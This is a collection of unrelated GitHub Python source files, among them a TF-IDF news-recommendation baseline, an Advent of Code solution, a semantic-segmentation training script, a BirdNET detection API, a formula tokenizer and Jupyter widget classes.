+{"seq_id":"34264409656","text":"# -*- coding: utf-8 -*-\n#tfidf(21)\n\n# -*- coding: utf-8 -*-\n\nimport jieba.posseg as pseg\nimport pandas as pd\nfrom gensim import models, similarities,corpora\nimport codecs\n\n# 构建停用词表\nstop_words = './stop_words.txt'\nstopwords = codecs.open(stop_words,'r',encoding='utf8').readlines()\nstopwords = [ w.strip() for w in stopwords ]\nstop_flag = ['x', 'c', 'u','d', 'p', 't', 'uj', 'm', 'f', 'r']\ndef tokenization(title):\n    result = []\n    words = pseg.cut(title)\n    for word, flag in words:\n        if flag not in stop_flag and word not in stopwords:\n            result.append(word)\n    return result\n\ndef train_text():\n    # 训练文本数据\n    all_doc = []\n    datas = pd.read_csv(\"train_data.csv\")\n    titles = datas['title']\n    for title in titles:\n        all_doc.append(title)\n\n\n    # 对目标文档进行分词\n    print(\"对目标文档进行分词\")\n    all_doc_list = []\n    for doc in all_doc:\n        doc_list = tokenization(doc)\n        all_doc_list.append(doc_list)\n\n\n\n    # 测试文档数据\n    print(\"测试文档数据\")\n    test_doc = []\n    test_datas = pd.read_csv(\"test_data.csv\", encoding=\"gbk\")\n    test_titles = test_datas[\"title\"]\n    for title in test_titles:\n        test_doc.append(title)\n\n\n\n    # 测试文档进行分词\n    test_doc_list = []\n    for doc in test_doc:\n        doc_list = tokenization(doc)\n        test_doc_list.append(doc_list)\n\n    # 制作语料库\n    print(\"制作语料库\")\n\n    dictionary = corpora.Dictionary(all_doc_list)\n    dictionary.keys()\n    dictionary.token2id\n    corpus = [dictionary.doc2bow(doc) for doc in all_doc_list]   #(0,1)(1,1)\n    tfidf = models.TfidfModel(corpus)\n    results = []\n    for doc_test_list in test_doc_list:\n        doc_test_vec = dictionary.doc2bow(doc_test_list)\n        index = similarities.SparseMatrixSimilarity(tfidf[corpus], num_features=len(dictionary.keys()))\n        sim = index[tfidf[doc_test_vec]]\n        similiar_sorted = sorted(enumerate(sim), key=lambda item: -item[1])[:21]\n        print(similiar_sorted)\n        indexs = [str(item[0]+1) for item in similiar_sorted]\n        print(indexs)\n        results.append(\" \".join(indexs))\n\n    with open(\"results.txt\", \"w\") as f:\n        for item in results:\n            item = item.strip().split()\n            for i in range(0, 21):\n                f.write(item[0] + \"\\t\" + item[i] + \"\\n\")\n\nif __name__ == \"__main__\":\n    train_text()\n    with open(\"results.txt\", \"r\") as f, open(\"submisson2.txt\", \"w\") as wf:\n        wf.write(\"source_id\" + \"\\t\" + \"target_id\" + \"\\n\")\n        datas = f.readlines()\n        for data in datas:\n            data = data.strip().split(\"\\t\")\n            wf.write(data[0] + \"\\t\" + data[1] + \"\\n\")\n\n\n\n","repo_name":"WangYanZ/NewsRecommendBaseline","sub_path":"baseline_2.py","file_name":"baseline_2.py","file_ext":"py","file_size_in_byte":2688,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"18775026506","text":"def fib():\n    count = int(input(\"Enter the number fib you want to print out : \"))\n    print(\"You have enter: \", count)\n    i = 1\n    if count == 0:\n        fib = [0]\n    elif count == 1:\n        fib = [1]\n    elif count == 2:\n        fib = [1,1]\n    elif count > 2:\n        fib = [1,1]\n        while i < count - 1:\n\n            fib.append((fib[i] + fib[i-1]))\n            i += 1\n    return fib\nprint(\"your fibonacci number is:\", fib())","repo_name":"Peuapeu2019/Selftought","sub_path":"Fibonacci.py","file_name":"Fibonacci.py","file_ext":"py","file_size_in_byte":436,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"39112841452","text":"from tracks.models import Track\nfrom django.shortcuts import get_object_or_404\nfrom django.core.exceptions import PermissionDenied\n\nclass TrackMixin(object):\n  '''\n  Load a track and check user\n  can access it\n  '''\n  model = Track\n  context_object_name = 'track'\n\n  def get_object(self, check_ownership=False):\n    # Load requested track\n    self.track = get_object_or_404(Track, pk=self.kwargs['track_id'])\n\n    # Check right access to tracks\n    track_user = self.track.session.day.week.user\n    if check_ownership and track_user != self.request.user:\n      raise PermissionDenied\n    if 'tracks' not in track_user.get_privacy_rights(self.request.user):\n      raise PermissionDenied\n\n    return self.track\n","repo_name":"La0/runreport","sub_path":"src/tracks/views/mixins.py","file_name":"mixins.py","file_ext":"py","file_size_in_byte":709,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"77"}
+{"seq_id":"12236653327","text":"#!/usr/bin/python\n###\n# 11B.\n# [chrosta@toolbox:~/Github/advent-of-code@chrosta/advent-of-code/2022]$ cat ./data/11.text | ./11B.py\n###\nimport re, ast, sys\nfrom copy import deepcopy as dc\nfrom itertools import groupby\nfrom functools import reduce\n\n###\n# ???\n###\nALL_DIVISORS_PRODUCT = 1\n\nclass Monkey:\n    def __init__(self, number, items, oper, test):\n        global ALL_DIVISORS_PRODUCT\n        self.__number = number\n        self.__items = items\n        self.__oper = oper\n        self.__test = test \n        self.__monkeys = []\n        self.__count = 0\n        ALL_DIVISORS_PRODUCT *= self.__test\n\n    def __repr__(self):\n        return str([self.__number, self.__items, self.__test, self.__monkeys[0].number(), self.__monkeys[1].number(), self.__count])\n\n    def __str__(self):\n        return self.__repr__()\n    \n    def count(self):\n        return self.__count\n\n    def number(self):\n        return self.__number\n\n    def turn(self):\n        while len(self.__items) > 0:\n            self.__count += 1\n            old = self.__items.pop(0)\n            new = eval(self.__oper.split(\" = \")[1])\n            #--\n            new = new % ALL_DIVISORS_PRODUCT\n            #--\n            if new % self.__test == 0:\n                self.__monkeys[0].append_throwed_item(new)\n            else:\n                self.__monkeys[1].append_throwed_item(new)\n    \n    def append_throwed_item(self, i):\n        self.__items.append(i)\n\n    def bind_to_monkeys(self, m):\n        self.__monkeys = m\n\ndata = {}\nlines = [l.strip().split(':') for l in sys.stdin.readlines()]\nfor l in lines:\n    if \"Monkey\" in l[0]:\n        number = int(l[0].split(' ')[1])\n        continue\n    if \"Starting items\" in l[0]:\n        items = [int(i.strip()) for i in l[1].split(\", \")]\n        continue\n    if \"Operation\" in l[0]:\n        oper = l[1].strip()\n        continue\n    if \"Test\" in l[0]:\n        test = int(l[1].split(' ')[3])\n        continue\n    if \"If true\" in l[0]:\n        t = int(l[1].split(' ')[4])\n        continue\n    if \"If false\" in l[0]:\n        f = int(l[1].split(' ')[4])\n        continue\n    if len(l[0]) == 0:\n        data[number] = [items, oper, test, t, f]\n\n[print(\"I:\", k, d[0]) for k, d in data.items()]\nprint(\"---[\", 0, \"]---\")\nmonkeys = [Monkey(k, d[0], d[1], d[2]) for k, d in data.items()]\nfor m in monkeys:\n    b = [n for n in data[m.number()][3:5]]\n    m.bind_to_monkeys([monkeys[b[0]], monkeys[b[1]]])\n    print(\"A:\", m)\n\nfor r in range(0, 10000):\n    print(\"---[\", r + 1, \"]---\")\n    for m in monkeys:\n        print(\"A:\", m)\n        m.turn()\n        print(\"B:\", m)\n\nprint(\"---[ R ]---\")\nr = [m.count() for m in monkeys]\nr.sort()\nr = reduce(lambda x, y: x*y, r[-2:])\nprint(r)\n###\n# 25712998901\n###\n","repo_name":"chrosta/advent-of-code","sub_path":"2022/11B.py","file_name":"11B.py","file_ext":"py","file_size_in_byte":2700,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"72227828730","text":"#!/usr/bin/python\n# -*- encoding: utf-8 -*-\n\nimport sys\nsys.path.insert(0, '.')\nimport os\nimport os.path as osp\nimport random\nimport logging\nimport time\nimport argparse\nimport numpy as np\nfrom tabulate import tabulate\n\nimport torch\nimport torch.nn as nn\nimport torch.distributed as dist\nfrom torch.utils.data import DataLoader\n\nfrom networks import model_factory\nfrom configs import cfg_factory\nfrom dataload.rexroth_cv2 import get_data_loader\nfrom evaluate.evaluate import evaluate\nfrom ohem_ce_loss import OhemCELoss\nfrom lr_scheduler import WarmupPolyLrScheduler\nfrom utils.meters import TimeMeter, AvgMeter\nfrom utils.logger import setup_logger, print_log_msg, print_log_msg_withoutaux\nfrom torch.utils.tensorboard import SummaryWriter\n\n# apex\nhas_apex = True\ntry:\n    from apex import amp, parallel\nexcept ImportError:\n    has_apex = False\n\n\n## fix all random seeds\ntorch.manual_seed(123)\ntorch.cuda.manual_seed(123)\nnp.random.seed(123)\nrandom.seed(123)\ntorch.backends.cudnn.deterministic = True\n#  torch.backends.cudnn.benchmark = True\n#  torch.multiprocessing.set_sharing_strategy('file_system')\n\n\ndef parse_args():\n    parse = argparse.ArgumentParser()\n    parse.add_argument('--local_rank', dest='local_rank', type=int, default=-1,)\n    parse.add_argument('--port', dest='port', type=int, default=44554,)\n    parse.add_argument('--model', dest='model', type=str, default='bisenetv1')\n    parse.add_argument('--finetune-from', type=str, default=None,)\n    return parse.parse_args()\n\nargs = parse_args()\ncfg = cfg_factory[args.model]\nwriter = SummaryWriter(log_dir=cfg.logpath)\n\ndef set_model():\n    net = model_factory[cfg.model_type](n_classes=cfg.categories, aux_output=cfg.aux_output, export=False)\n    if not args.finetune_from is None:\n        net.load_state_dict(torch.load(args.finetune_from, map_location='cpu'))\n    if cfg.use_sync_bn: net = set_syncbn(net)\n    net.cuda()\n    net.train()\n    criteria_pre = OhemCELoss(0.7)\n    if cfg.aux_output:\n        criteria_aux = [OhemCELoss(0.7) for _ in range(cfg.num_aux_heads)]\n        return net, criteria_pre, criteria_aux\n    else:\n        return net, criteria_pre\n\ndef set_syncbn(net):\n    if has_apex:\n        net = parallel.convert_syncbn_model(net)\n    else:\n        net = nn.SyncBatchNorm.convert_sync_batchnorm(net)\n    return net\n\n\ndef set_optimizer(model):\n    if hasattr(model, 'get_params'):\n        wd_params, nowd_params, lr_mul_wd_params, lr_mul_nowd_params = model.get_params()\n        params_list = [\n            {'params': wd_params, },\n            {'params': nowd_params, 'weight_decay': 0},\n            {'params': lr_mul_wd_params, 'lr': cfg.lr_start * cfg.lr_multiplier},\n            {'params': lr_mul_nowd_params, 'weight_decay': 0, 'lr': cfg.lr_start * cfg.lr_multiplier},\n        ]\n    else:\n        wd_params, non_wd_params = [], []\n        for name, param in model.named_parameters():\n            if param.dim() == 1:\n                non_wd_params.append(param)\n            elif param.dim() == 2 or param.dim() == 4:\n                wd_params.append(param)\n        params_list = [\n            {'params': wd_params, },\n            {'params': non_wd_params, 'weight_decay': 0},\n        ]\n    optim = torch.optim.SGD(\n        params_list,\n        lr=cfg.lr_start,\n        momentum=0.9,\n        weight_decay=cfg.weight_decay,\n    )\n    return optim\n\n\ndef set_model_dist(net):\n    if has_apex:\n        net = parallel.DistributedDataParallel(net, delay_allreduce=True, find_unused_parameters=True)\n    else:\n        local_rank = dist.get_rank()\n        net = nn.parallel.DistributedDataParallel(\n            net,\n            device_ids=[local_rank, ],\n            output_device=local_rank, find_unused_parameters=True)\n    return net\n\n\ndef set_meters():\n    time_meter = TimeMeter(cfg.max_iter)\n    loss_meter = AvgMeter('loss')\n    loss_pre_meter = AvgMeter('loss_prem')\n    if cfg.aux_output:\n        loss_aux_meters = [AvgMeter('loss_aux{}'.format(i))\n                for i in range(cfg.num_aux_heads)]\n        return time_meter, loss_meter, loss_pre_meter, loss_aux_meters\n    else:\n        return time_meter, loss_meter, loss_pre_meter\n\n\ndef train():\n    logger = logging.getLogger()\n    is_dist = dist.is_initialized()\n\n    ## dataset\n    dl_train = get_data_loader(\n            cfg.im_root, cfg.train_im_anns,\n            cfg.ims_per_gpu, cfg.scales, cfg.cropsize,\n            cfg.max_iter, mode='train', distributed=is_dist, n_cats=cfg.categories)\n\n    ## model\n    if cfg.aux_output:\n        net, criteria_pre, criteria_aux = set_model()\n    else:\n        net, criteria_pre = set_model()\n\n    ## optimizer\n    optim = set_optimizer(net)\n\n    ## fp16\n    if has_apex:\n        opt_level = 'O1' if cfg.use_fp16 else 'O0'\n        net, optim = amp.initialize(net, optim, opt_level=opt_level)\n\n    ## ddp training\n    net = set_model_dist(net)\n\n    ## meters\n    if cfg.aux_output:\n        time_meter, loss_meter, loss_pre_meter, loss_aux_meters = set_meters()\n    else:\n        time_meter, loss_meter, loss_pre_meter = set_meters()\n    ## lr scheduler\n    lr_schdr = WarmupPolyLrScheduler(optim, power=0.9,\n        max_iter=cfg.max_iter, warmup_iter=cfg.warmup_iters,\n        warmup_ratio=0.1, warmup='exp', last_epoch=-1,)\n\n    ## train loop\n    iteration = 0\n    for it, (im, lb) in enumerate(dl_train):\n        im = im.cuda()\n        lb = lb.cuda()\n\n        lb = torch.squeeze(lb, 1)\n\n        optim.zero_grad()\n        if cfg.aux_output:\n            logits, *logits_aux = net(im)\n        else:\n            logits = net(im)\n        loss_pre = criteria_pre(logits, lb)\n        loss = loss_pre\n        if cfg.aux_output:\n            loss_aux = [crit(lgt, lb) for crit, lgt in zip(criteria_aux, logits_aux)]\n            loss = loss_pre + sum(loss_aux)\n        if has_apex:\n            with amp.scale_loss(loss, optim) as scaled_loss:\n                scaled_loss.backward()\n        else:\n            loss.backward()\n        optim.step()\n        torch.cuda.synchronize()\n        lr_schdr.step()\n\n        writer.add_scalar(\"loss\", loss_pre, it)\n\n        time_meter.update()\n        loss_meter.update(loss.item())\n        iteration = it\n        if cfg.aux_output:\n            loss_pre_meter.update(loss_pre.item())\n            _ = [mter.update(lss.item()) for mter, lss in zip(loss_aux_meters, loss_aux)]\n\n\n        ## print training log message\n        if (it + 1) % 100 == 0:\n            lr = lr_schdr.get_lr()\n            lr = sum(lr) / len(lr)\n            writer.add_scalar(\"learning_rate\", lr, it)\n            if cfg.aux_output:\n                print_log_msg(\n                    it, cfg.max_iter, lr, time_meter, loss_meter,\n                    loss_pre_meter, loss_aux_meters)\n            else:\n                print_log_msg_withoutaux(\n                    it, cfg.max_iter, lr, time_meter, loss_meter)\n\n        ## Save model every 1000 iterations\n        if (it + 1) % 1000 == 0:\n            save_pth = osp.join(cfg.respth, cfg.save_name)\n            logger.info('\\nsave models to {}'.format(save_pth+str(it+1)))\n            state = net.module.state_dict()\n            if dist.get_rank() == 0: torch.save(state, save_pth+str(it+1))\n            writer.add_scalar(\"train_loss_1000\", loss_pre, it)\n\n    count = (iteration+1)//1000\n    logger.info('\\nevaluating the models')\n    classes = [\"Background\", \"Monorail\", \"Person\", \"Forklift\"]\n\n    for i in range(count):\n        save_pth = osp.join(cfg.respth, cfg.save_name)\n        iteration = (i + 1) * 1000\n        logger.info('\\n Iteration number:'+str(iteration))\n        torch.cuda.empty_cache()\n        ious_ss_eval, ious_mssc_eval, ious_mcf_eval, ious_msfc_eval, ious_ss_test, ious_mssc_test, ious_mcf_test, ious_msfc_test = evaluate(cfg, save_pth+str(iteration))\n\n\n        for j in range(cfg.categories):\n            writer.add_scalar(\"ss_class_iou_eval \"+ classes[j], ious_ss_eval.tolist()[j], iteration)\n            writer.add_scalar(\"mssc_class_iou_eval \"+ classes[j], ious_mssc_eval.tolist()[j], iteration)\n            writer.add_scalar(\"mcf_class_iou_eval \" + classes[j], ious_mcf_eval.tolist()[j], iteration)\n            writer.add_scalar(\"msfc_class_iou_eval \" + classes[j], ious_msfc_eval.tolist()[j], iteration)\n            writer.add_scalar(\"ss_class_iou_test \" + classes[j], ious_ss_test.tolist()[j], iteration)\n            writer.add_scalar(\"mssc_class_iou_test \" + classes[j], ious_mssc_test.tolist()[j], iteration)\n            writer.add_scalar(\"mcf_class_iou_test \" + classes[j], ious_mcf_test.tolist()[j], iteration)\n            writer.add_scalar(\"msfc_class_iou_test \" + classes[j], ious_msfc_test.tolist()[j], iteration)\n\n    return\n\n\ndef main():\n    torch.cuda.set_device(args.local_rank)\n    dist.init_process_group(\n        backend='nccl',\n        init_method='tcp://127.0.0.1:{}'.format(args.port),\n        world_size=torch.cuda.device_count(),\n        rank=args.local_rank\n    )\n    if not osp.exists(cfg.respth): os.makedirs(cfg.respth)\n    setup_logger('{}-train'.format(cfg.model_type), cfg.respth)\n    train()\n    writer.flush()\n    writer.close()\n\n\nif __name__ == \"__main__\":\n    main()","repo_name":"Eashwar93/Realtime-SemanticSegmentation","sub_path":"train/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":9053,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"27050515613","text":"\n\nwith open('KakaoTalk_friend.txt', 'r', encoding='utf-8') as input_file:\n    out=open('kakaotalk.txt','w')\n    while(1):\n        s=input_file.readline()\n        if not s:\n            break\n        s=s.split(']')\n        if(len(s)<3):\n            continue\n        out.write(s[2])\n    out.close()\n\n","repo_name":"MubaBot/muba-chatbot","sub_path":"chatbot_api/Markov_response/kakaotalk_extract.py","file_name":"kakaotalk_extract.py","file_ext":"py","file_size_in_byte":297,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"36529413798","text":"import datetime\nfrom functools import cmp_to_key\nfrom datetime import datetime as dt\nfrom AppConfig import AppConfig\n\nif not AppConfig().isTest():\n    from BirdNETLite import analyzeAudioData, prepareAudioSignal, parseArgs\nelse:\n    from BirdNETLiteMOCK import analyzeAudioData, prepareAudioSignal, parseArgs\n\ndef getWeek():\n    dtn = dt.now()\n    return datetime.date(dtn.year, dtn.month, dtn.day).isocalendar().week\n\ndef getTimestamp():\n    return dt.now().strftime(\"%Y-%m-%d %H:%M:%S\")\n\ndef getDate():\n    return getTimestamp().split(\" \")[0]\n\ndef getTime():\n    return getTimestamp().split(\" \")[1]\n\ndef getNewArgMap(lat, lon, week=None):\n    argMap =  {\"lat\": 0, \"lon\": 0, \"week\": getWeek(), \"overlap\": 0.0}\n    if (lat != None):\n        argMap[\"lat\"] = lat\n    if (lon != None):\n        argMap[\"lon\"] = lon\n    if (week != None):\n        argMap[\"week\"] = week\n    return argMap\n\ndef parseArgMap(argMap):\n    \"\"\"\n    input args as a map {\"lat\": 1, \"lon\": 2, \"week\": 3, \"overlap\": 0}\n    \"\"\"\n    argv = []\n    for a in argMap:\n        argv.append(\"--\" + a)\n        argv.append(str(argMap[a]))\n    return argv\n\n\ndef detectSpecies(sig=None, rate=None, argMap=None, interpreter=None, callbackProgress=None):\n\n    parsedArgMap = parseArgMap(argMap)\n    args = parseArgs(parsedArgMap)\n    if (interpreter == None):\n        assert interpreter != None\n\n    audioData = prepareAudioSignal(sig, rate, args.overlap)\n    week = max(1, min(args.week, 48))\n    sensitivity = max(0.5, min(1.0 - (args.sensitivity - 1.0), 1.5))\n    detections = analyzeAudioData(audioData, args.lat, args.lon, week, sensitivity, args.overlap, interpreter, callbackProgress)\n\n    return {\"detections\": detections, \"timestamp\": getTimestamp(), \"lat\": args.lat, \"lon\": args.lon}\n\n\ndef filterDetections(detections_result, p_limit=0.1, lang=\"en\"):\n    count_total = 0\n    count = 0\n    detections = detections_result[\"detections\"]\n    filtered_list = []\n    for d in detections:\n        detection = detections[d]\n        for item in detection:\n            count_total += 1\n            names, p = item\n            if (p > p_limit):\n                count += 1\n                values = names.split(\"_\")\n                filtered_list.append([d, p, values[1], values[0]])\n    return {\"count_total\": count_total, \n            \"p_limit\": p_limit, \n            \"count\": count, \n            \"filtered_list\": filtered_list, \n            \"timestamp\": detections_result[\"timestamp\"],\n            \"lat\": detections_result[\"lat\"],\n            \"lon\": detections_result[\"lon\"]\n            }\n\ndef compare_sum(a,b):\n    return a[0]-b[0]\n\ndef rankResult(filtered_result, desc=True):\n    filtered_detections = filtered_result[\"filtered_list\"]\n    sci_ix = 3\n    sci_names = set(map(lambda x: x[sci_ix], filtered_detections))\n    rank_list = []\n    for sci_name in sci_names:\n        detections_species = list(filter(lambda x: x[sci_ix] == sci_name, filtered_detections))\n        p = []\n        for d in detections_species:\n            p.append(d[1])\n        rank_list.append([sum(p), p, detections_species[0][2], detections_species[0][3]])\n    rank_list.sort(key=cmp_to_key(compare_sum), reverse=desc)\n    return {\"ranked_list\": rank_list,\n            \"timestamp\": filtered_result[\"timestamp\"], \n            \"lat\": filtered_result[\"lat\"], \n            \"lon\": filtered_result[\"lon\"]}\n","repo_name":"gorlang/BirdifyApp","sub_path":"src/BirdifyAPI.py","file_name":"BirdifyAPI.py","file_ext":"py","file_size_in_byte":3328,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"1073632152","text":"import ops\nimport re\n\n__atom_pattern = re.compile(r'@'\n                            r'|'\n                            r'\\$[A-Za-z0-9_]+'\n                            r'|'\n                            r'\\d+[`°]\\d{0,2}\\'?\\d{0,2}\"?\\d*'\n                            r'|'\n                            r'\\d+\\.?\\d*'\n                            r'|'\n                            r'π'\n                            r'|'\n                            r'_?[+\\-*/%!^()\\[\\]{},;~\\:?<>.√×]'\n                            r'|'\n                            r'[A-Za-z]+'\n                            r'|'\n                            r'\\s+'\n                            )\n\nvar_format = re.compile(r'@|\\$[A-Za-z0-9]$')\n\nans = '@'\n\n\ndef __try_get(key, *funcs):\n    for f in funcs:\n        try:\n            return f(key)\n        except:\n            pass\n    raise KeyError\n\n\ndef translate(formula_str: str, oplist: ops.OpList)-> list:\n    def _get_var(s):\n        if re.match(var_format, s) is not None:\n            return oplist[s]\n        else:\n            raise KeyError\n\n    origin_list = re.findall(__atom_pattern, formula_str)\n    formula = [oplist.head]\n    for piece in origin_list:\n        if re.match(r'\\s+', piece) is not None:\n            pass\n        else:\n            if oplist.is_number(formula[-1]) or oplist.is_right_bracket(formula[-1]):\n                try:\n                    t = __try_get(piece, oplist.get_right_bracket, oplist.get_binary)\n                    formula.append(t)\n                except KeyError:\n                    try:\n                        t = __try_get(piece, oplist.get_left_bracket, oplist.get_const,\n                                      oplist.string_to_real, oplist.get_unary, _get_var)\n                        formula.append(oplist.connector)\n                        formula.append(t)\n                    except KeyError:\n                        t = oplist.get_unary(oplist.postpos_unary_dict[piece])\n                        count = 0\n                        for i in range(len(formula) - 1, -1, -1):\n                            if oplist.is_right_bracket(formula[i]):\n                                count += 1\n                            elif oplist.is_left_bracket(formula[i]):\n                                count -= 1\n                            if count == 0:\n                                formula.insert(i, t)\n                                break\n            else:\n                formula.append(__try_get(piece, oplist.get_unary, oplist.get_const, oplist.string_to_real,\n                                         oplist.get_left_bracket, oplist.get_right_bracket, _get_var))\n    return formula\n\n","repo_name":"StarvinCulex/scicalc","sub_path":"formtrans.py","file_name":"formtrans.py","file_ext":"py","file_size_in_byte":2623,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"24680924249","text":"'''\nThere are cases when different processes needs to access the same resource (properly instantiated).\nRace conditions can occur when two or more processes access a shared piece of data or resource simoultaneously.\n'''\n\nimport time\nfrom multiprocessing import Process, Value\n\nr = 1000000\nbalance = Value('f', 200.00) # instance of shared resource (f:float)\n\n# process 1\ndef deposit(balance):\n    for i in range(r):\n        balance.value += 1.00 # critical section\n\n# process 2\ndef withdraw(balance):\n    for i in range(r):\n        balance.value -= 1.00 # critical section\n\n\nif __name__ == '__main__':\n\n    # define two processes accesing the shared resource\n    d = Process(target=deposit, args=(balance,)) \n    w = Process(target=withdraw, args=(balance,))\n\n    d.start()\n    w.start()\n    d.join()\n    w.join()\n\n    print(balance.value)\n    # expected output 200 instead is random at each execution","repo_name":"rpalloni/concurrency","sub_path":"9_race_conditions_process.py","file_name":"9_race_conditions_process.py","file_ext":"py","file_size_in_byte":901,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"26835762083","text":"import base64\nfrom ipywidgets import CallbackDispatcher, Checkbox, CoreWidget, DOMWidget, register, Tab, VBox\nfrom traitlets import Bool, Bytes, Float, Int, List, TraitError, Unicode, validate\n\n\n@register\nclass NlLink(DOMWidget):\n    \"\"\"A widget to display links.\n\n\n    Parameters\n    ----------\n    value: str\n        text to display for the link.\n    href: str\n        URL of the link.\n    \"\"\"\n\n    _view_name = Unicode(\"LinkView\").tag(sync=True)\n    _model_name = Unicode('LinkModel').tag(sync=True)\n    _view_module = Unicode(\"neurolang-ipywidgets\").tag(sync=True)\n    _model_module = Unicode('neurolang-ipywidgets').tag(sync=True)\n\n    _view_module_version = Unicode(\"0.1.0\").tag(sync=True)\n    _model_module_version = Unicode('^0.1.0').tag(sync=True)\n\n    # Widget specific properties\n    # value to appear as link text\n    value = Unicode().tag(sync=True)\n    # url of the link\n    href = Unicode().tag(sync=True)\n\n    # TODO check href to be a link\n\n\n@register\nclass NlProgress(DOMWidget):\n    \"\"\"A widget to display progress as a horizontal bar.\n\n    Parameters\n    ----------\n    value: float\n         amount of progress.\n    max: int\n        maximum possible value.\n    \"\"\"\n\n    _view_name = Unicode(\"ProgressView\").tag(sync=True)\n    _model_name = Unicode('ProgressModel').tag(sync=True)\n    _view_module = Unicode(\"neurolang-ipywidgets\").tag(sync=True)\n    _model_module = Unicode('neurolang-ipywidgets').tag(sync=True)\n\n    _view_module_version = Unicode(\"0.1.0\").tag(sync=True)\n    _model_module_version = Unicode('^0.1.0').tag(sync=True)\n\n    # Widget specific properties\n    # actual value\n    value = Float().tag(sync=True)\n    # maximum value\n    max = Int().tag(sync=True)\n\n    @validate('value')\n    def _valid_value(self, proposal):\n        if proposal['value'] < 0:\n            raise TraitError('Value should be greater than 0.')\n        if proposal['value'] > self.max:\n            raise TraitError(f\"Value should be less then max value {self.max}\")\n        return proposal['value']\n\n\n@register\nclass NlCheckbox(Checkbox):\n    \"\"\"A Checkbox widget that changes opacity when disabled.\n\n    Parameters\n    ----------\n    opacity: float\n        opacity value for the checkbox when disabled.\n    \"\"\"\n\n    _view_name = Unicode('NCheckboxView').tag(sync=True)\n    _model_name = Unicode('NCheckboxModel').tag(sync=True)\n    _view_module = Unicode(\"neurolang-ipywidgets\").tag(sync=True)\n    _model_module = Unicode('neurolang-ipywidgets').tag(sync=True)\n\n    _view_module_version = Unicode(\"0.1.0\").tag(sync=True)\n    _model_module_version = Unicode('^0.1.0').tag(sync=True)\n\n    # Widget specific properties\n    # opacity value to be used when disabled.\n    opacity = Float(0.45).tag(sync=True)\n    bg_color = Unicode('white').tag(sync=True)\n\n    # TODO check opacity value.\n\n\n@register\nclass NlIconTab(Tab):\n    _view_name = Unicode('IconTabView').tag(sync=True)\n    _model_name = Unicode('IconTabModel').tag(sync=True)\n    _view_module = Unicode(\"neurolang-ipywidgets\").tag(sync=True)\n    _model_module = Unicode('neurolang-ipywidgets').tag(sync=True)\n\n    _view_module_version = Unicode(\"0.1.0\").tag(sync=True)\n    _model_module_version = Unicode('^0.1.0').tag(sync=True)\n\n    # Widget specific properties\n    title_icons = List().tag(sync=True)\n\n    def reset(self):\n        self.unobserve_all()\n        self.selected_index = None\n        self.title_icons = []\n        self._titles = {}\n        self.children = []\n\n\n@register\nclass NlVBoxOverlay(VBox):\n    \"\"\"A VBox widget that is viewed as overlay.\n\n    Parameters\n    ----------\n    \"\"\"\n\n    _view_name = Unicode('VBoxOverlayView').tag(sync=True)\n    _model_name = Unicode('VBoxOverlayModel').tag(sync=True)\n    _view_module = Unicode(\"neurolang-ipywidgets\").tag(sync=True)\n    _model_module = Unicode('neurolang-ipywidgets').tag(sync=True)\n\n    _view_module_version = Unicode(\"0.1.0\").tag(sync=True)\n    _model_module_version = Unicode('^0.1.0').tag(sync=True)\n\n\ndef content_to_json(pydt, manager):\n    \"\"\"Serialize file content to json.\n    \"\"\"\n    if pydt is None:\n        return None\n    else:\n        b64 = base64.encodebytes(pydt).decode()\n        return b64\n\n\ncontent_serialization = {\n    'to_json': content_to_json\n}\n\n\n@register\nclass NlDownloadLink(DOMWidget, CoreWidget):\n    \"\"\"A widget to download content as file with filename.\n\n\n    Parameters\n    ----------\n    content: str\n        content of the file as bytes\n    filename: str\n        file name\n    mimetype: str\n        text/csv by default\n    description: str\n        description for link\n    tooltip: str\n        tooltip to display when link hovered\n    disabled: bool\n        boolean value to indicate if the link is disabled\n    \"\"\"\n\n    _view_name = Unicode(\"DownloadLinkView\").tag(sync=True)\n    _model_name = Unicode('DownloadLinkModel').tag(sync=True)\n    _view_module = Unicode(\"neurolang-ipywidgets\").tag(sync=True)\n    _model_module = Unicode('neurolang-ipywidgets').tag(sync=True)\n\n    _view_module_version = Unicode(\"0.1.0\").tag(sync=True)\n    _model_module_version = Unicode('^0.1.0').tag(sync=True)\n\n    # Widget specific properties\n    content = Bytes().tag(sync=True, **content_serialization)\n    mimetype = Unicode(\"text/csv\").tag(sync=True)\n    filename = Unicode().tag(sync=True)\n    description = Unicode().tag(sync=True)\n    tooltip = Unicode(\"Download\").tag(sync=True)\n    disabled = Bool(False).tag(sync=True)\n\n    # below lines are copied from button widget to handle click on the link\n\n    def __init__(self, *args, **kwargs):\n        super().__init__(*args, **kwargs)\n        self._click_handlers = CallbackDispatcher()\n        self.on_msg(self._handle_button_msg)\n\n    # this is necessary when data is big and it content should not be set at when widget is initialized\n    def on_click(self, callback, remove=False):\n        \"\"\"Register a callback to execute when the button is clicked.\n        The callback will be called with one argument, the clicked button\n        widget instance.\n        Parameters\n        ----------\n        remove: bool (optional)\n            Set to true to remove the callback from the list of callbacks.\n        \"\"\"\n        self._click_handlers.register_callback(callback, remove=remove)\n\n    def click(self):\n        \"\"\"Programmatically trigger a click event.\n        This will call the callbacks registered to the clicked button\n        widget instance.\n        \"\"\"\n        self._click_handlers(self)\n\n    def _handle_button_msg(self, _, content, buffers):\n        \"\"\"Handle a msg from the front-end.\n        Parameters\n        ----------\n        content: dict\n            Content of the msg.\n        \"\"\"\n        if content.get('event', '') == 'click':\n            self.click()\n","repo_name":"NeuroLang/neurolang_ipywidgets","sub_path":"neurolang_ipywidgets/cell_widgets.py","file_name":"cell_widgets.py","file_ext":"py","file_size_in_byte":6679,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
